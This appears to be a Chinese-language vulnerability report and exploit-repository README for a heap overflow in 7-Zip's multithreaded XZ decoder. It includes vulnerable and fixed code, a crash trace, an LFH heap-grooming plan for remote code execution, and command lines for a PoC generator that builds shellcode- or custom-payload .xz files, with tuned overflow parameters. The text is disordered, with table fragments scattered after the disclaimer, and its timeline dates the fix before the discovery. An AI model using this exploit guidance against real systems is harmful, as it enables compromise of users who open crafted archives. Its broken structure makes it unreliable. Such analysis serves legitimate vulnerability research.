严重级别 | CVSS: 8.8(高危)| CWE-122:基于堆的缓冲区溢出
受影响版本:7-Zip ≤ 26.01 | 已修复版本:7-Zip 26.02(2026-06-25)
发现与分析:Li Yuxuan(liyuxuan504-byte)及其团队
7-Zip 版本 ≤ 26.01 的多线程 XZ 解码器路径中存在堆缓冲区溢出漏洞。恶意构造的 .xz 压缩包可触发越过堆分配输出缓冲区的越界写入,从而导致:
STATUS_ACCESS_VIOLATION (0xC0000005)该漏洞位于 C/XzDec.c 中的 MixCoder_Code() 函数,其中的 SingleBuf(outBuf)分支在未针对剩余缓冲区容量(outBufSize - outWritten)进行边界限制的情况下,将未经检查的 destLen2 传递给 LZMA2 解码器。
任何使用存在漏洞的 7-Zip(或 7z.dll)解压不受信任的 .xz 文件的系统或应用程序均面临风险——在多核系统上,多线程路径默认启用。
XZ Stream → XzUnpacker_Code (XZ_STATE_BLOCK)
→ MixCoder_Code(outBuf branch, p->outBuf != NULL)
→ destLen2 = destLenOrig // ← NO boundary clamp
→ Lzma2State_Code2(..., &destLen2)
→ dicLimit = dicPos + destLen2 // ← can exceed dicBufSize
→ Lzma2Dec_DecodeToDic(...)
→ LZMA2 copy-chunk loop: memcpy(dic + dicPos, src, size)
→ dicPos exceeds dicBufSize → HEAP OVERFLOW
存在漏洞(26.01)—— C/XzDec.c 约 L606:
if (p->outBuf) {
SizeT destLen2, srcLen2;
srcLen2 = srcLenOrig;
destLen2 = destLenOrig; // ← raw value, no clamping!
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, &srcLen2,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2; // ← tracks total but never checks
}
已修复(26.02)—— C/XzDec.c 约 L605:
if (p->outBuf) {
SizeT destLen2;
destLen2 = destLenOrig;
if (p->numCoders != 1) { // ★ NEW boundary check
if (destLen2 < p->outWritten)
return SZ_ERROR_FAIL; // data inconsistency → abort
destLen2 -= p->outWritten; // clamp to remaining capacity!
}
*srcLen = srcLenOrig;
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, srcLen,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2;
}
**修复仅 3 行。**它在将 destLen2 传递给 LZMA2 解码器之前,先从中减去 p->outWritten(已写入此 outBuf 的字节数),从而确保解码器永远不会写入超出已分配缓冲区的范围。
在单线程路径中,XzUnpacker_Code 在调用 MixCoder_Code 之前会应用基于 unpackSize 的自身 rem 边界限制。该限制能正确约束输出。而多线程 SingleBuf 路径绕过了此限制,因为它直接将 destLenOrig 透传——当 destLen 被预先设置为完整剩余输入大小而非实际缓冲区剩余容量时,上游限制便不再起作用。
outBuf 通过 ISzAlloc_Alloc(allocMid, unpackSize) 在 CRT 堆上分配:
unpackSize | 分配器 | 可利用性 |
|---|---|---|
| ≤ 16 KB | LFH(低碎片堆) | ★ 最适合 RCE——同一存储桶中的相邻对象 |
| 16–64 KB |
最有前景的利用方法:
unpackSize(256–16384 字节)**以触发 LFH 分配next 指针 → 实现任意分配原语| 能力 | 状态 |
|---|---|
| DoS(崩溃) | ✅ 已确认,在 7-Zip 26.00 x64 上稳定复现 |
| 静默堆溢出(LFH) | ✅ 已确认——越过缓冲区写入,退出码 2,无崩溃 |
| 受控载荷投递 | ✅ 可通过 LZMA2 复制块数据完全控制 |
常规调试器(x64dbg、WinDbg)会改变进程创建行为。在调试器下,7z.dll 可能根本不会加载多线程 XZ 路径——进程会静默回退到单线程模式,此时漏洞不会触发。为此需要采用以下方法:
tools/ 中)poc/poc-cve-2026-14266-rce.py 是一个功能完整的 XZ 漏洞利用生成器:
# Crash confirmation (DoS):
python poc/poc-cve-2026-14266-rce.py -o crash.xz
# Offset discovery (cyclic pattern):
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-cyclic -o find-offset.xz
# Shellcode payload:
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-shellcode -o exploit.xz
# Custom binary payload:
python poc/poc-cve-2026-14266-rce.py \
--payload-file shellcode.bin --unpack-size 512 --overflow 8192 -o custom.xz
# Multi-threaded (vulnerable path):
7z.exe x poc.xz -so -mmt=2 > NUL
# Single-threaded (NOT vulnerable — for comparison):
7z.exe x poc.xz -so -mmt=1 > NUL
测试环境:Windows 11 Pro x64(内部版本 26200)+ 7-Zip 26.00
关键洞察: 所有 LFH 范围(≤16 KB)的分配都会产生静默溢出——载荷数据被写入相邻堆对象而不会立即崩溃。这是 RCE 利用的先决条件。
来自实时 x64dbg 会话(7-Zip 26.00,MT 路径):
Fault instruction: mov byte ptr [rcx], r11b
Fault address: msvcrt.dll + 0x7B1EE (memcpy inner byte-copy loop)
Fault VA (rcx): 0x12363C50002 = outBuf_base + 0x40002
(2 bytes past the 0x40000-byte outBuf)
Decoder struct (rbx = 0x12363B0BB00):
+0x28: outBuf base = 0x12363C10000
+0x30: outBuf capacity = 0x40000 (262144 = unpackSize)
+0x38: write cursor = 0x40000 (ALREADY FULL when overflow begins)
Call chain:
msvcrt!memcpy
← 7z.dll+0x11EFF5 (LZMA2/XZ decode output copy loop)
← 7z.dll+0x1305D5
← 7z.dll+0x13071B (XZ multi-threaded decode entry)
← ntdll.dll+0x1D141 (thread start)
C/XzDec.c)7z x -mmt=1 <file.xz>0xC0000005 退出0xC0000374)unpackSize 的 XZ 块├── README.md ← This report
├── src-diff/
│ └── XzDec.diff.txt ← 26.01 vs 26.02 MixCoder_Code() diff
├── poc/
│ └── poc-cve-2026-14266-rce.py ← PoC generator (cyclic/shellcode/raw)
├── tools/
│ ├── 04-heap-analyze.ps1 ← x64dbg MCP automation for heap layout
│ ├── 05-mini-debugger.ps1 ← C# Win32 debug API mini-debugger
│ └── 06-guard-dump.ps1 ← Guard-page heap dumper (LFH analysis)
└── docs/
├── 01-crash-point-analysis.md ← Live crash trace (x64dbg)
├── 02-vulnerability-root-cause.md ← Full root cause analysis
└── 03-rce-exploit-plan.md ← RCE exploitation strategy
本报告仅供教育和防御性安全研究之用。提供 PoC 代码是为了帮助安全研究人员和防御者理解该漏洞并开发检测能力。请勿将此代码用于您不拥有或未经明确授权测试的系统。
| 段堆(后端) |
| 可能——空闲链表损坏 |
| ≥ 64 KB | VirtualAlloc(页对齐) | 仅 DoS——守护页拦截溢出 |
| 堆布局原语 | ✅ 概念已验证——需针对具体目标进行布局调优 |
| 完整 RCE 利用链 | ❌ 进行中——需要对目标进行堆布局分析 |
| 参数 | 描述 | 推荐值 |
|---|
--unpack-size | 块声明的 unpackSize(= outBuf 分配大小) | 256–4096(用于 LFH RCE) |
--overflow | 写入越过 outBuf 的总字节数 | 4096–32768 |
--chunk-size | LZMA2 复制块数据大小(1–65535) | 不能整除 unpackSize! 使用质数(97)或 --force-align-overflow |
--payload-cyclic | 用于偏移量发现的循环模式 | 先使用此模式,再替换为真实载荷 |
--payload-shellcode | 嵌入 Win x64 WinExec("calc.exe") shellcode | 约 276 字节 |
unpackSize | chunk_size | 溢出量 | 结果 |
|---|
| 256 KB(0x40000) | 4096(对齐) | ~32 KB | 0xC0000005 — 访问冲突(守护页) |
| 256 KB | 3(原始 DoS) | ~30 KB | 0xC0000005 — 访问冲突 |
| 256 KB | 4096 | ~32 KB | 0xC0000374 — 检测到堆损坏 |
| 256 B | 97 | ~1 KB | 退出码 2 — 静默溢出! |
| 4 KB | 97 | ~16 KB | 退出码 2 — 静默溢出! |
| 16 KB | 97 | ~32 KB | 退出码 2 — 静默溢出! |
| 日期 | 事件 |
|---|
| 2026-07-24 | 发现并在 7-Zip 26.00 上确认漏洞 |
| 2026-07-24 | 开发出崩溃 PoC;实时调试确认堆溢出 |
| 2026-07-24 | 确定根本原因:MixCoder_Code 中缺少 destLen2 -= outWritten |
| 2026-07-24 | 开发出带 LFH 利用策略的 RCE PoC 生成器 |
| 2026-07-25 | 发布完整分析报告 |
| 2026-06-25 | 发布包含修复的 7-Zip 26.02 |